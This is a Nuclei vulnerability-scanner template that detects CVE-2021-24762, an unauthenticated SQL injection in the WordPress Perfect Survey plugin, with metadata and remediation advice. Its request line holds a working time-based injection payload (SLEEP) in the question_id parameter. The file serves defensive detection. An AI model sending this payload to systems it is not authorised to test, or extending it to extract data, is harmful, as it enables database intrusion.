nuclei-templates/http/cves/2021/CVE-2021-24762.yaml

id: CVE-2021-24762

info:
  name: WordPress Perfect Survey<1.5.2 - SQL Injection
  author: cckuailong
  severity: critical
  description: |
    Perfect Survey WordPress plugin before 1.5.2 does not validate and escape the question_id GET parameter before using it in a SQL statement in the get_question AJAX action, allowing unauthenticated users to perform SQL injection.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database.
  remediation: |
    Update to the latest version of the WordPress Perfect Survey plugin (1.5.2) to mitigate the SQL Injection vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/50766
    - https://github.com/cckuailong/reapoc/tree/main/2021/CVE-2021-24762/vultarget
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24762
    - https://wpscan.com/vulnerability/c1620905-7c31-4e62-80f5-1d9635be11ad
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24762
    cwe-id: CWE-89
    epss-score: 0.33888
    epss-percentile: 0.96671
    cpe: cpe:2.3:a:getperfectsurvey:perfect_survey:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: getperfectsurvey
    product: perfect_survey
    framework: wordpress
  tags: cve2021,cve,wpscan,sqli,wp,wordpress,wp-plugin,unauth,edb,getperfectsurvey

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=get_question&question_id=1%20AND%20(SELECT%207242%20FROM%20(SELECT(SLEEP(4)))HQYx)"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'duration>=4'

      - type: word
        part: header
        words:
          - "wp-ps-session"

      - type: status
        status:
          - 404
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